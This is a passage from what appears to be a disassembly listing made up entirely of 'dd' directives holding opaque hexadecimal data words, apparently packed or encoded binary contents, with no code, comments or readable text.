		dd 787B00D8h, 3802BD06h, 0C33F2E00h, 19D7EF8Ch,	0FFC60F70h
		dd 0EE22E3C2h, 6CE01ABAh, 0DB3A16F3h, 0B7DF0F41h, 0B1B8E025h
		dd 0E8A38C7h, 2156A278h, 51842963h, 0F0A83240h,	0E4735702h
		dd 0DB74EF78h, 24F0AEA8h, 68D1800Ch, 97415748h,	3B0C0F3h
		dd 8439200h, 11477490h,	1BAEC05Ch, 855665F0h, 0E8122F00h
		dd 8AB749CBh, 3C9E0054h, 5860761h, 4100D2BDh, 6CE2BC68h
		dd 985048EEh, 20980390h, 0B99833Bh, 2D3FA815h, 0DE1000B4h
		dd 6F2AA76Ch, 83790F1Dh, 0F280BAB9h, 73AE9746h,	0D8770F01h
		dd 70D34ED4h, 16C4E448h, 4032CD44h, 0EA57C630h,	870995DFh
		dd 1376A8h, 88350A77h, 490200B9h, 0F594A6E4h, 6003E01Fh
		dd 0AE6BE9DCh, 252B8853h, 0A0AF00D9h, 7402794Dh, 400E820Dh
		dd 6027E129h, 51C22C9Ah, 0CEF20019h, 882F1462h,	4A0F87DCh
		dd 83F51249h, 0C822641Ah, 1F2670CCh, 80CE27B7h,	7E5594E7h
		dd 98599688h, 26D80000h, 738BA148h, 83DD1718h, 0FC88808Ch
		dd 0B007D3E2h, 656A39A6h, 0BD1540BEh, 952F25D7h, 197D4080h
		dd 87EE8A50h, 3E21575Ch, 0D0990059h, 79C41BABh,	3B6300BCh
		dd 0BDAE80DBh, 0D32F6221h, 43888F25h, 8064AF14h, 601890h
		dd 7DE119F5h, 0D70F7BB0h, 4C0EDE73h, 405645F2h,	4376E2EAh
		dd 67BA0061h, 174118DFh, 0A6391588h, 0F9100048h, 89FFC37Fh
		dd 9975A68h, 10401308h,	0AC00FAEBh, 2332DDC9h, 4B7716Dh
		dd 77F31D34h, 0B4A826h,	2DBC5630h, 2D8F8E1Ah, 0A411AE41h
		dd 3CF8F396h, 0ADE80D26h, 0B94B6212h, 9C9878E0h, 889F9448h
		dd 381D6450h, 0F43BCE59h, 0C0715100h, 336586FCh, 505F8300h
		dd 12813BA9h, 76CE6094h, 532795E5h, 59E9DD00h, 0E0C80702h
		dd 9F810057h, 6AA38518h, 4200B556h, 0CCA0788Dh,	0B8866B64h
		dd 322D00BCh, 0C3CB2691h, 4002998h, 0D22A7B2Ch,	78B20CB9h
		dd 2FEE44h, 93CD401Ch, 0B85F9147h, 8AA5AB14h, 34F81DFBh
		dd 8FC0D89Ch, 0C6117AF0h, 0D090A6h, 36E7D51Ah, 799F66FBh
		dd 99853300h, 52F20ECAh, 0C9D300F8h, 1A63B961h,	3016CB0h
		dd 0EAE06FD4h, 0E1E4A2D5h, 0FB1400F2h, 0E94527AEh, 464B7AFAh
		dd 0B10073A8h, 82E3B022h, 5772952Ah, 0B700DC98h, 3896C250h
		dd 28A8773Bh, 0B4344Eh,	7E1368F9h, 9739702Eh, 50459607h
		dd 805BB324h, 0C256FF07h, 4DD505BFh, 80FDE7EBh,	0A2F13ACCh
		dd 4D26244h, 1F19E951h,	5ACDBh,	72EBEEAFh, 2CD787h, 0C0FAB70Fh
		dd 585DC5BBh, 12E12E0Fh, 811500E2h, 0E215E24h, 3D3E2753h
		dd 97EEB00h, 6100F0D5h,	30568094h, 7EC2B16h, 0B5FB75CBh
		dd 0FC4D53F6h, 906145B8h, 0A6A08E00h, 9C8C5D5Ah, 0ADE95CB3h
		dd 0F11012h, 893AB224h,	420B83A5h, 0A0FC5112h, 815A14CCh
		dd 8D0F0082h, 0B43058B6h, 9007DD2Bh, 0D0922F38h, 0D8A34210h
		dd 0CA123CF9h, 0C8EE2EFDh, 7B0400FCh, 0DA05ACDEh, 0B54EB07h
		dd 0B110BEC2h, 23F990h,	5A0E093Eh, 63111037h, 0A15D9700h
		dd 73C61B4Ch, 0B234098Bh, 0CB008341h, 68132194h, 9785D403h
		dd 0C23C038Fh, 1CB046D6h, 81E4BFBAh, 452D6C62h,	40F0741Ah
		dd 704DAE00h, 0A731EE16h, 17D0008Ah, 0DD34BF9h,	702710Eh
		dd 0E2247CA9h, 0D8F06354h, 308A68BAh, 0F510588Fh, 6E00A8AAh
		dd 60D8D3A3h, 1E97EC7Fh, 80F87248h, 1D612C92h, 0E898E625h
		dd 24B5E507h, 45709F79h, 2426934Ah, 124BF0Fh, 1947ABE1h
		dd 0C07828FDh, 9B2A44D5h, 0AADE1761h, 0E76C034Eh, 2CF8C837h
		dd 4B0067E2h, 23975FB8h, 15DD12Bh, 0A3589070h, 70D55612h
		dd 0CC2C4678h, 0E2400811h, 2069FF9h, 6FA20ADCh,	34682886h
		dd 0CC027881h, 0A4D51501h, 2927C0F5h, 733500FFh, 329C309Bh
		dd 270340EEh, 7697B884h, 6C3398E0h, 0C8AF0912h,	6420CD92h
		dd 11C594B4h, 0CE8C2300h, 9F269693h, 0FC8EE291h, 565F3D9Ch
		dd 842A400h, 3149D7A6h,	0A8707209h, 0D9180037h,	7DA45E06h
		dd 397B7BF8h, 0E200612Ah, 0B7A67450h, 76007D92h, 0E74222F3h
		dd 79D8831h, 116D66A4h,	6C9AD01Eh, 0FC03B6A2h, 0F7F8C77Ah
		dd 0ED3290CAh, 8F2100C6h, 0EF9DC9DCh, 6A60B4D5h, 193D95CAh
		dd 0B9DB0277h, 7E8AF133h, 0E41444C0h, 7E53D027h, 0FE3A005Ch
		dd 23F72F45h, 4EF9B500h, 10499D0Ah, 32580067h, 601ECBD4h
		dd 0B278A71Ah
		dd 7B59A800h, 6C790161h, 0FAF0083h, 0ABCF5E35h,	0DC2C9717h
		dd 0CD8044BDh, 0D716773Ah, 7677968h, 9D254470h,	0DAC09FCEh
		dd 3FAD08F1h, 0E46F5C26h, 52AB3800h, 7BF7F27h, 0D950051Fh
		dd 697D70EFh, 4F0F8117h, 0A7E42004h, 0F490A956h, 0B8AA15F6h
		dd 19820114h, 9648B498h, 59FAE072h, 0C0203E4Ch,	0DED84432h
		dd 1C641D46h, 3ADAC0F6h, 6C88FFA5h, 0CD52BD09h,	0E4F043h
		dd 2D133EE0h, 0B6C3F2CAh, 6B68AF00h, 0BB8FAEABh, 48710106h
		dd 375C914Ch, 0C883E47Eh, 6A210F00h, 625DCF52h,	1F7B256Eh
		dd 0C3EE6080h, 3459D0E8h, 441900C0h, 934251BCh,	764517FDh
		dd 9CD401AAh, 0CCD43C39h, 0F90019F2h, 33801F3Ah, 11E491Ah
		dd 0BC5B4364h, 20082D48h, 0C7004EC5h, 0AD065AEEh, 0F7E751h
		dd 0CD014741h, 75BA8E5Fh, 0DAA67703h, 88825090h, 136087h
		dd 9D1E566Bh, 0D2DB8372h, 0B300CFEh, 3588F869h,	0FC870EBEh
		dd 8A807D40h, 0BD56985Ch, 2DCE3Fh, 80FA5246h, 1C886475h
		dd 4FE5E09Bh, 0EC20DAC5h, 2E26F12h, 0A6135B16h,	0DBCEA802h
		dd 0EB50E13Ah, 710C2DC5h, 0CB4BD7Bh, 8AD44700h,	561DEBh
		dd 41B4939h, 0C321272h,	80D82901h, 629AB6C1h, 1240FC64h
		dd 4797E90Dh, 501B14F0h, 0D93B5D43h, 0E3D32600h, 0B7D0E7BDh
		dd 36171ED1h, 823E405Fh, 0AE476016h, 95FE4800h,	4DEFBAC1h
		dd 0F9261CD2h, 81F5000Fh, 5E1F20C3h, 29D90430h,	5A211Bh
		dd 177443A0h, 2009D1DDh, 0C9323B13h, 836C2F0Bh,	0E8FF3CE7h
		dd 0E72CF1h, 34D5C89h, 0F86BF53Fh, 4FDF6D00h, 8D52E32h
		dd 79D403F2h, 0B1FE519Ah, 4AE2FBF0h, 6804ADB0h,	0B6EB73C3h
		dd 838FED80h, 0D0620094h, 0A0ED2C74h, 8A07DE79h, 44B3BA32h
		dd 223DE730h, 1211C36Ah, 0CBD0BE2Ah, 20099D58h,	55109FA1h
		dd 0F6608C8Eh, 0FBE65D01h, 5B8B8100h, 0DA2EF060h, 6E41DA6h
		dd 0FF568021h, 8ED64B3Fh, 0B9672B00h, 701A530Eh, 26B003BCh
		dd 0E74A18C9h, 7F80EFC0h, 4875F603h, 0D874DBCAh, 1CFB7EC1h
		dd 80C64059h, 0D2C4A5A0h, 8D004D17h, 0C28147AFh, 0FA2FF176h
		dd 0D9D500FEh, 64CBC8DCh, 2100BDEEh, 6FF42DB3h,	0B2C6F1h
		dd 45CF5D1Ah, 4AA08C19h, 7E7E000h, 0BA8B3C41h, 0E4080FF6h
		dd 24405ACCh, 0E6C4046Ch, 74695400h, 0BB8361D3h, 0ECB30CCDh
		dd 0B669F9CCh, 4D7B2AF6h, 0E603B00h, 751E2078h,	0C64100DBh
		dd 0C39107C7h, 0FF00E2D4h, 3E18661Ah, 0CA589Eh,	9B5FDD2Dh
		dd 778614F1h, 7DFB5700h, 80C04299h, 1F9500B5h, 0AB2816DAh
		dd 0B6007C53h, 0A8523E5Ah, 7243FAh, 0B9380A23h,	8CE3CA34h
		dd 59A35B07h, 45E00CAEh, 2526C5Ah, 66279A65h, 0EC7EB158h
		dd 770C0600h, 99C15Dh, 5BB25F9Bh, 0F2B1B5DAh, 0AD30380Ch
		dd 0FE85691h, 0C96FBB0Fh, 47BAA500h, 1D74CBD2h,	543D98E6h
		dd 3660BDDh, 591180E4h,	0F44926h, 0E596AF0Bh, 12CFFD8Ah
		dd 2BD79F00h, 6AA1A49Ah, 0D6190190h, 2242056Fh,	0B0908287h
		dd 68F97ED2h, 3F11114h,	5B0BCC8Ch, 88AAC71Eh, 5CBF8C0h
		dd 8B0055F0h, 70425E13h, 0B9D7F4h, 356D01Dh, 6AF94488h
		dd 12E71900h, 8723E4C7h, 4AB3030Bh, 671CA1CCh, 459E6002h
		dd 70724E3Ch, 29430014h, 7876AF8h, 6E28B251h, 69260852h
		dd 0F10FEEE6h, 2BE76223h, 0F25CF87Eh, 0D546005Ah, 8969D068h
		dd 0C00064B6h, 708A2434h, 1D9E332Fh, 0F838A92Dh, 0A5E06307h
		dd 1451702Ah, 0ECC0D9FFh, 6DA43946h, 0B90E01B5h, 8B7C156Eh
		dd 0EBA5C085h, 5241BE14h, 69500084h, 4909F2CEh,	28C20055h
		dd 7285F599h, 8A00C175h, 34CEEF7Dh, 77BD8959h, 8BCD58E9h
		dd 803DF11Eh, 2A0DC339h, 9C7D8EA5h, 2CED081Dh, 0D4BBC903h
		dd 96AA802Dh, 0F518007Bh, 1F268E5h, 61005F8Ch, 8DE712E1h
		dd 0EC4062h, 44BD59B4h,	0BAFFACC3h, 8405A81Dh, 22CFD9C9h
		dd 40C0812Ch, 1E322F5h,	0BA9BFE0Ah, 5065F323h, 5F2830BCh
		dd 580FE7E2h, 806A5AB8h, 39689C86h, 73BD00B2h, 0CD4DEDAEh
		dd 45F6B1BEh, 900B2E12h, 1EF5C40h, 3069DDFh, 0FB48CEDDh
		dd 6CF88437h, 800BD71Ch, 1727DF7h, 0D8D35369h, 0E8A20D0h
		dd 0A5D0B6B0h, 944D8F60h, 6E0025BBh, 4821B185h,	77F9DDCCh
		dd 0FBD30B37h, 990652CDh, 8602B198h, 53BAD175h,	0E47414h
		dd 0F18DE1Dh, 0AB00E5A4h, 10C3F524h, 689347h, 0A7CE86C0h
		dd 0FB89084Dh, 3E442B00h, 0FCF4E6E8h, 0D2140091h, 0C3CE99A2h
		dd 850F87F8h, 0EFCABAF1h, 121933FFh, 7EC4A410h,	6D00F5Dh
		dd 0D8C1E01Ch, 0D0E4ED76h, 83003FACh, 7FE1681Fh, 45DDC16h
		dd 3FC1D79h, 75A8A6h, 8367128Fh, 9406ABh, 384BF452h, 0E28E58EFh
		dd 6CF27B0Fh, 0E0E5A0A3h, 5041D5D3h, 7DF833h, 56364F96h
		dd 6790BE4Eh, 1301EDF8h, 6288A2DAh, 31F59281h, 0D90A9080h
		dd 0C26067F9h, 941D8301h, 0E93D2616h, 0A8D85771h, 0C81F30D6h
		dd 0BA479930h, 1EA4BD00h, 0DC7FE2DAh, 0E0F91B72h, 7397F094h
		dd 0A00378DBh, 18E7FCA8h, 984400ECh, 0B83C5D0h,	0A430B3D4h
		dd 0A61B5817h, 993204D9h, 40BAEEF3h, 736E557Ah,	962421F9h
		dd 882C9308h, 3042F380h, 85C022B8h, 77D35881h, 0DF58889Ah
		dd 7DE243EDh, 0B088B108h, 0A27F9DEFh, 1684D407h, 0CC6318ABh
		dd 0B798847h, 2C5750BCh, 2DBA2817h, 0AA4B1184h,	93F611B3h
		dd 0CC404C37h, 1220F758h, 0E6782857h, 9F902258h, 0E4E0820h
		dd 0BEACFBDCh, 0A69D5058h, 6326BC00h, 77CC7BF1h, 7EF409F8h
		dd 6600AB50h, 0CF32DAB9h, 932A0B0Ch, 6497879h, 66BFFC45h
		dd 0B5078177h, 0C80DFDE2h, 83C4605Fh, 6006E14Dh, 0B802207Eh
		dd 0A7007553h, 4960FE96h, 7D5B1993h, 0C09C908Bh, 0BFD2F7A0h
		dd 7300695Ch, 0E299E5D9h, 3063FE20h, 8698ED97h,	0A200EBBAh
		dd 0B08C314Fh, 50F25D81h, 4D895h, 0F55338B8h, 6C585942h
		dd 8308DF6Fh, 1EC1Eh, 410A37C6h, 4E281F8Eh, 7793B00h, 2E48B76h
		dd 9EFB14F4h, 200DCCB9h, 0D3D993F9h, 9C704FE8h,	5D88A500h
		dd 907AD419h, 0F6E300F5h, 582A828Ah, 68098384h,	20DB6CABh
		dd 0E8F7A4CCh, 1D2100DCh, 303A762Eh, 0F218ABB6h, 0DA20F05Ch
		dd 44DC00C7h, 0EA507782h, 0FF547037h, 83404EECh, 0CCD103DAh
		dd 198291D2h, 0D94F06B8h, 0F3787202h, 0A0939401h, 53BDE1F4h
		dd 1AD203E9h, 2B67F75Ch, 213A0830h, 3F53C1A4h, 471F1D19h
		dd 4850184Eh, 2314A5CEh, 90F475EFh, 17F23ACh, 0F6D936E6h
		dd 880518D2h, 0EB0520C3h, 7EB697C9h, 0EEDB4880h, 8F04911Fh
		dd 2A87EA1Dh, 2E70018h,	0A900F479h, 8C71F8CEh, 320E9h
		dd 0D760AE53h, 836911D8h, 449DA101h, 0E62BA0D6h, 1CB6F0D0h
		dd 8008E1D5h, 0D03C522h, 0A11C95FBh, 2A80618Fh,	0BC8785B0h
		dd 0FC4E7F19h, 123E291h, 3A1AA65Ch, 0D45A250Dh,	4200D93Dh
		dd 318EE8ECh, 0E80FC7Ah, 3F878309h, 34EE2980h, 6F12C41Bh
		dd 0AE007696h, 0EA260BB6h, 0D6C200F0h, 6C123474h, 0B30EFB56h
		dd 575DD550h, 0FEB93D02h, 0ECE60E6h, 0EA9A0719h, 5555A48h
		dd 0C98765h, 6DD2A1BAh,	0F901B2E6h, 0C20E0C30h,	7A2076F2h
		dd 0B48E305Bh, 235F9418h, 4743E00h, 0A71F1BCAh,	0BC2F0014h
		dd 0B208980Ch, 8F006A9Fh, 28F9CD09h, 18054DEAh,	40CF75A4h
		dd 8507AB5Ah, 0C508C33Eh, 4233A0F0h, 7E760027h,	0AD8E48F4h
		dd 5B315CCCh, 0F7C1F889h, 60ED2BF4h, 8AE41032h,	481365D1h
		dd 0E100B1BFh, 0A4309B4Ch, 0DDFD3D67h, 0A0875001h, 3C909C95h
		dd 0A5CD0088h, 0ABEAA942h, 5C5D00B1h, 0BC7BB029h, 0B9006378h
		dd 497A4CC5h, 12704351h, 98B188h, 0ACA4B530h, 0BA0037A7h
		dd 0F3E26FC5h, 0C5E80CBBh, 2FE92410h, 59ACC004h, 0C471F2h
		dd 39FA38ECh, 0AB62B1F9h, 33E80500h, 0B5894ADCh, 0A44D00A3h
		dd 8794B0FFh, 28C03835h, 0E8035BD6h, 0C97E005Eh, 14739FB3h
		dd 8600D7C1h, 95836869h, 790878B8h, 45DC0043h, 1CDD805Dh
		dd 441FEBFEh, 3640047Bh, 4E3F972Dh, 803900F1h, 4D5066D6h
		dd 0D5002048h, 0D2479E92h, 119AFF3h, 0D8624636h, 0E0A9BF16h
		dd 227B288Ah, 6A4D4A00h, 0BA2775FFh, 0C6C40014h, 80F93042h
		dd 5098D453h, 75E8EB60h, 0BC79ACh, 0B0ED7F17h, 8EEABA2Bh
		dd 8C1C1304h, 9180AAF2h, 0B3D911h, 5F651783h, 7FECA80Bh
		dd 989E2101h, 0BF5B9D3Eh, 0DD0C0CFh, 80920FABh,	4040F4A4h
		dd 8326E3C6h, 3C726600h, 0FA99398Dh, 0BC570070h, 0A661656Eh
		dd 0A20045E7h, 2CF073D1h, 6CFA11h, 12CD0AEDh, 984884B3h
		dd 14BB4C00h, 70A5FDF7h, 0E63D00E0h, 0F396E516h, 0D300E98Fh
		dd 382B6C23h, 50AB3DBh,	39703378h, 4BE842DEh, 0B0807C7Ah
		dd 9498B9F5h, 92A99B0Fh, 3C11A0C1h, 74360180h, 0A0E00327h
		dd 6C05B251h, 84C89BC8h, 0C3786400h, 0AC7F0B6Bh, 8EEAD7h
		dd 0B7977102h, 0B4E00377h, 440DC400h, 9A3A7C4Fh, 47371DE9h
		dd 0CE7141FBh, 0DCF3E0AFh, 9B009785h, 0D7C46F98h, 3639FEDh
		dd 0C76D4ECAh, 70FA7C1Fh, 0D30FF480h, 9100DD7Dh, 805E6BFBh
		dd 6008B821h, 1B8E219Eh, 0F0005DA7h, 9602ED9Bh,	0D4E239h
		dd 81F5B9F9h, 8EE98776h, 0E66E0D00h, 0F78FCFBAh, 0BBD0BF68h
		dd 8C7A961Eh, 0BE95C8C0h, 0FDE0720Fh, 15F360h, 0FD5456DBh
		dd 0B1FA4A6Ah, 0E5BBA400h, 0CC7FD70Dh, 0AC050103h, 0ECB09CD4h
		dd 6A48DCD8h, 6FFF8A00h, 3FE5403Dh, 0F6F0C17Fh,	30DEBCC7h
		dd 607D55Eh, 60903EF3h,	0DFBEC39Fh, 0A085C043h,	0BD3C025Ch
		dd 0FA6821D1h, 1142B4C0h, 0F40B4424h, 0CC438E01h, 7EF83159h
		dd 728203A7h, 601EE614h, 92478990h, 0A1702A03h,	0D89D63DBh
		dd 7F6C482h, 0BE780494h, 614E5E5Eh, 5874A080h, 8100D613h
		dd 0C824C467h, 3884F81Ch, 0EC805689h, 0AE17A457h, 0CB0361D6h
		dd 0D18DC530h, 36D80170h, 46269DA0h, 6CA8D4ADh,	0AB13B492h
		dd 0C07179Eh, 0E3433EBCh, 4050A8B8h, 0D4A90971h, 30AEF7B6h
		dd 0DE7C0DA0h, 0D6076BAEh, 20AB8D50h, 0C464012Fh, 0D3C44CD8h
		dd 6CEC00E3h, 771558B8h, 0CB7B237Bh, 1209830Eh,	24424240h
		dd 0E80B437Ch, 8E2E9Eh,	1A36F40Ch, 0AE96995Dh, 2AD4D800h
		dd 6359906Ch, 498100BFh, 770C756Bh, 7F00B4F1h, 0B374C953h
		dd 1D1525E9h, 0C0764CABh, 3E57B102h, 330037F0h,	3F9CE80Eh
		dd 8391D7h, 0E154517Fh,	0EC03090Bh, 8528801h, 0D97A738Eh
		dd 3F2EA5C8h, 948014D4h, 3120172Fh, 1A2E38F2h, 21009EC7h
		dd 9CB33222h, 5939009Ah, 7D247F20h, 0F729DD81h,	44008CF2h
		dd 2FB614Eh, 24B3005Fh,	58DD86AFh, 0A1E4190h, 550F01FFh
		dd 8B45A109h, 0B3DF365Fh, 0A1B1D8FAh, 565C39A7h, 0ABE5B700h
		dd 65EB5D0Ch, 0A504227Dh, 13E9A368h, 0F69BA480h, 8F40FC4h
		dd 7AC0C98Ah, 0E4D37CC7h, 0E8CBD4A0h, 0E0EEEF0h, 634140F4h
		dd 0C0F0C398h, 0B7099C5Ch, 856A2F80h, 0CE018A54h, 75D37D96h
		dd 0E5E037C3h, 0B9B6008Eh, 0BE6627BDh, 2D07ADD0h, 93C3771Ah
		dd 0C478A900h, 40CA00DDh, 0B7150D75h, 720095A2h, 7D99BB5Ch
		dd 487E6C21h, 0BE00F09Ch, 0BAB266DEh, 2DE481E3h, 1458CD00h
		dd 0C5DF29B8h, 0F45400C4h, 0A116A49Eh, 0A5007F2Bh, 0D56F3D04h
		dd 1DF62489h, 8007ED4Bh, 8FCD5928h, 4079A24Ch, 9EA01E05h
		dd 7C80C7FFh, 0EE4B45h,	5C6377F8h, 0F1A7CF36h, 83418C3Ch
		dd 719EF7FAh, 8902D921h, 77EBEAE4h, 2DD5009Dh, 0F64CDE6Fh
		dd 0ED7536E6h, 0D0E9F000h, 69918C43h, 0B009242Dh, 125B0580h
		dd 70B49030h, 533397D6h, 909188D5h, 259D5Dh, 0F1D0A850h
		dd 278A09C0h, 0E90018F0h, 70FC6C95h, 1C353C22h,	460DBD55h
		dd 51E0B505h, 8E3E720Fh, 81072F9Bh, 0C46D5AF5h,	51DFD880h
		dd 79DC6C99h, 0E8630B00h, 0D8F258BBh, 0D63C00F9h, 0D5AA19E7h
		dd 570333FEh, 0ABE915D3h, 0B80A813Fh, 0A8D73053h, 132F3Bh
		dd 12752A1Eh, 799AF7BFh, 2EF8B418h, 0C13128h, 95CE356Dh
		dd 0C39BD4EEh, 2300B0E0h, 62F7F85h, 2E377CB3h, 133C3Eh
		dd 10B9C827h, 73F2F4BAh, 7E56AE00h, 78E8291Ah, 8AE881h
		dd 641FCD42h, 4FE3DA7Ah, 0B03C1601h, 48BE8043h,	1E92AD8h
		dd 0D9CA8961h, 0D8A99540h, 0C30049EBh, 0E088AA60h, 6AE57Eh
		dd 0D5908631h, 0C92EA84Dh, 0CF506571h, 0EE009BCCh, 322BF36Dh
		dd 585FB14Fh, 0A1012EB7h, 7DCFAE60h, 28DDE411h,	0F4F9DE05h
		dd 0C0D07582h, 9003EE6Ch, 61250020h, 8BCD324Fh,	0E91C6FE7h
		dd 9C76A4Ch, 40FFEB4Dh,	8632F5C2h, 119A1E79h, 44E64087h
		dd 8164653Fh, 59674A01h, 0DBE34808h, 7753D8h, 28682B20h
		dd 0FB8D8B16h, 55D61003h, 13CD36AFh, 0ABD279B8h, 7B0F4700h
		dd 57D1E5h, 4D448AB1h, 9A7AD53Bh, 472FF24h, 20D0B009h
		dd 42286B08h, 2B700DCh,	41E74A39h, 501B5B47h, 0E058B271h
		dd 3F78FEC9h, 0F781D18Ch, 51F6EDF4h, 423FC5Fh, 3007AC73h
		dd 1EC59BB2h, 1FC7D4h, 0B8A056Ch, 9CF026CBh, 0FA753C02h
		dd 60C388A8h, 0A0B23400h, 0B22833BDh, 77A41608h, 0E5A60F4Fh
		dd 85139200h, 5007416Dh, 0A23525Eh, 1E76301h, 7BE903C4h
		dd 412E0094h, 739E0BF1h, 0FD3C995Eh, 6E5A8E0Eh,	8A44CB5h
		dd 3E21C392h, 4F8FDA5h,	2700BEFBh, 0BCCF147Fh, 0BB48371h
		dd 0EE60C108h, 7E00C58Bh, 0C869BB95h, 67F64418h, 0FEE818h
		dd 6F956F0h, 62CDA4D3h,	0E40189F8h, 0F60D9E60h,	0FCD01AA9h
		dd 0F2D3F019h, 0DB73018Ch, 405357B6h, 0EE0881B8h, 339E14D5h
		dd 88FE9940h, 4D3A0CC0h, 7338F51Ah, 34D8BD00h, 694F84B6h
		dd 915E3C43h, 3E1A5F81h, 8C5718B4h, 30FFC990h, 2E7503FCh
		dd 0A7FE70ABh, 18E29DD8h, 8850300h, 0D9A6EE61h,	2058D847h
		dd 52003F2Ah, 0D1FF42ECh, 5134F3A9h, 0A418AF97h, 1091E05Ch
		dd 0C85D6245h, 11998069h, 133365FDh, 9260BC00h,	0F7EBE69Dh
		dd 0B59081Eh, 0B90062A1h, 0E3D0A758h, 0D6C100FCh, 3A64E12Dh
		dd 24018CF0h, 56532083h, 98C89750h, 339055h, 0BD9B8F8Bh
		dd 85766DACh, 64B6FF00h, 0D5925238h, 0EA7F009Dh, 2B838157h
		dd 283C7204h, 3E03800Ch, 0E55CC307h, 251E4CC9h,	98DA007Dh
		dd 6708ADCFh, 0C7009CB9h, 0EBD482D6h, 32116Dh, 225A5D90h
		dd 0EDAACC5Bh, 0F751200h, 0C231FCB0h, 1B9D1E0Ch, 370A8055h
		dd 92306467h, 57958D00h, 0B563A585h, 0E8D11C06h, 247A4081h
		dd 4CF2A921h, 364BAD00h, 0A28730F8h, 98DB006Ch,	3367B0CCh
		dd 2400CF84h, 0D80A9051h, 38E405Bh, 2650773Ah, 87E0E9DAh
		dd 1C0037D1h, 0DEDC5A6Ah, 5D4EA9h, 0BD5CF422h, 0D6B4E729h
		dd 360078B8h, 0DF320539h, 0FE428h, 8FEE1574h, 0CA18CF7Dh
		dd 3E995200h, 3878C009h, 12D239D1h, 8AD39582h, 6F407A4Eh
		dd 812C3528h, 0CE0FC509h, 9BE467A4h, 9EB05450h,	0BF88Ah
		dd 0FE5C6FBEh, 60DBB379h, 0A1010C00h, 22912B0h,	0DF80071h
		dd 0D4845251h, 0D6036E0Bh, 0A73DBD27h, 758B985Dh, 54180089h
		dd 3BDD79CFh, 0CB00DC36h, 8DEB656Bh, 1BDD01Ah, 8AFB2E8h
		dd 0E0A7D3FCh, 0B81FEC20h
		dd 11C063F2h, 0F8748769h, 3AEB002Fh, 58078554h,	0D700BE9Ch
		dd 71E509D3h, 7F84811h,	800CB9EDh, 0E6CEE32Fh, 0CCEAB3E0h
		dd 0FA8E6E00h, 0DA4D4787h, 32EE0566h, 4FD2B475h, 69207888h
		dd 10A3DDABh, 91A18600h, 3B88AEE3h, 32A800E6h, 4CCA3495h
		dd 5A07EF0Bh, 0F6509ED1h, 0E2ABC0B3h, 9FA940D5h, 611004Ah
		dd 96D433D6h, 890799E9h, 5FF60F6Eh, 530CA3BFh, 0DD0EA03Fh
		dd 865A00B3h, 0E67A3249h, 170EFE94h, 7EEEA090h,	31C71300h
		dd 1917C19h, 332C451Ch,	804E7E44h, 368B20DAh, 0F61D93h
		dd 56E68E18h, 0F2173EE8h, 0FDF4DB0Ch, 0A023025h, 1FBCB9B7h
		dd 0A897020h, 7E7C521h,	0C72EEA7Ah, 60DDD71Bh, 0EC7B5A91h
		dd 16331203h, 0D04D1AC6h, 1F34AAA4h, 331E814h, 0B3FD2593h
		dd 0D94938h, 3BA7D1E6h,	1DA613EDh, 403D45ADh, 9C6FDFA0h
		dd 0A0F6DC3h, 61E847F7h, 2381749Bh, 2CE90880h, 112B80CBh
		dd 63C93103h, 0F0E57F56h, 0C609B6h, 6BAC8184h, 8C588AE9h
		dd 0B5B03B01h, 37B7065Ah, 7B86A440h, 58EE60ADh,	210B1819h
		dd 0C1302660h, 73F79DAh, 165BEF33h, 5225B009h, 7F00E5DDh
		dd 509BD954h, 14BB6DAh,	2D80659Ch, 58577119h, 7A08C580h
		dd 0D8A9AC6Fh, 0EFF4F3D2h, 6FE3720Fh, 6596E053h, 1990A6E8h
		dd 0F84CFC68h, 0AF8CB74h, 931D7FBDh, 624049B1h,	2D5269BAh
		dd 568614FBh, 42099BF2h, 1407F904h, 0DCEBB001h,	0A800B15Ch
		dd 52D8CAAFh, 1257E5Fh,	0EFEDA71Eh, 0CDE1FB4Eh,	8204B89h
		dd 6E8DCA78h, 83681EE0h, 8E7CC105h, 8F635C04h, 51C0F729h
		dd 3E749C69h, 0DB00B40Eh, 8350AEE8h, 0DF001BADh, 0CDD516Bh
		dd 66E93Bh, 0BC325BAAh,	384D803Ah, 6DA7BD00h, 0A3FF975Eh
		dd 619E00B8h, 23DEBE72h, 5400432Ch, 0FCFB5791h,	504EC2Ah
		dd 0C762749Ah, 13F005AAh, 55BEC348h, 0F1F4C280h, 2A00DFF4h
		dd 0C8439B42h, 0F4D4355Eh, 57A303E1h, 44301871h, 3A29E3B0h
		dd 3CF47500h, 0BA03BDFDh, 0C0170061h, 5674B785h, 691605A1h
		dd 0A200B046h, 0C533B568h, 91620094h, 0F058252Bh, 1D48565Bh
		dd 29690098h, 0B7E9EEE0h, 708A047Bh, 80F326FDh,	4807630h
		dd 0BDC0D100h, 0BBBA5ADEh, 0A7380E6Dh, 0C9805DF2h, 0D16403E9h
		dd 0E51E31C0h, 86B7E1h,	74BE8CAEh, 520FCBEDh, 8BC3FE1Eh
		dd 0BA4ECF00h, 18C9DBCCh, 38E63722h, 4B0171B8h,	986EAFA2h
		dd 32D470E5h, 6B840027h, 8A391CFEh, 9F00D105h, 0B4953675h
		dd 0FFF227Ah, 99E2CD0Ah, 7EDA8405h, 4BF20004h, 80953B51h
		dd 0D2D50030h, 480193FCh, 3C0FA45Bh, 472E125Fh,	0E2B06C32h
		dd 0ED7913h, 2CAEF2C1h,	0E69A53B4h, 105ACF24h, 0BC681A00h
		dd 70AC0Dh, 0AF185775h,	81BE8D69h, 531DFBE8h, 64C04BF3h
		dd 0EA4A363Dh, 0F040026h, 0BD142A9Ah, 56005A87h, 0D54F8BE7h
		dd 509816h, 1DD7090Ch, 0F189A89Ch, 3717EF01h, 8338E94Eh
		dd 74555FF8h, 30EA000Ah, 3ECAB98h, 6F00C98Bh, 86D5F27Ch
		dd 2A93F6h, 91D4C51Ah, 0C0AF1388h, 64E76700h, 0A3160114h
		dd 99310E08h, 803E7470h, 8BF44772h, 0FB0078CAh,	6CC5C339h
		dd 61C04Ah, 71A5B255h, 0E6D6961Bh, 756D8300h, 8E3DD514h
		dd 0C8CD1E11h, 0D7243BAh, 1C98F6B3h, 55004DD0h,	62CA6638h
		dd 387529D8h, 3A80578Eh, 0DB0868EEh, 3300538Ah,	0A639E75Fh
		dd 7D79C8F5h, 75040035h, 1822A9E4h, 0B4005BC2h,	7D0D8567h
		dd 0E6C6336Fh, 0B8F687h, 0F4B204B6h, 93BA1B90h,	20CD3100h
		dd 373A5659h, 197EE32h,	8615BF54h, 80D70F91h, 63042D10h
		dd 46D3AAh, 0EF4E3DAh, 0A77CFF2Eh, 0DC91D500h, 96E65FA6h
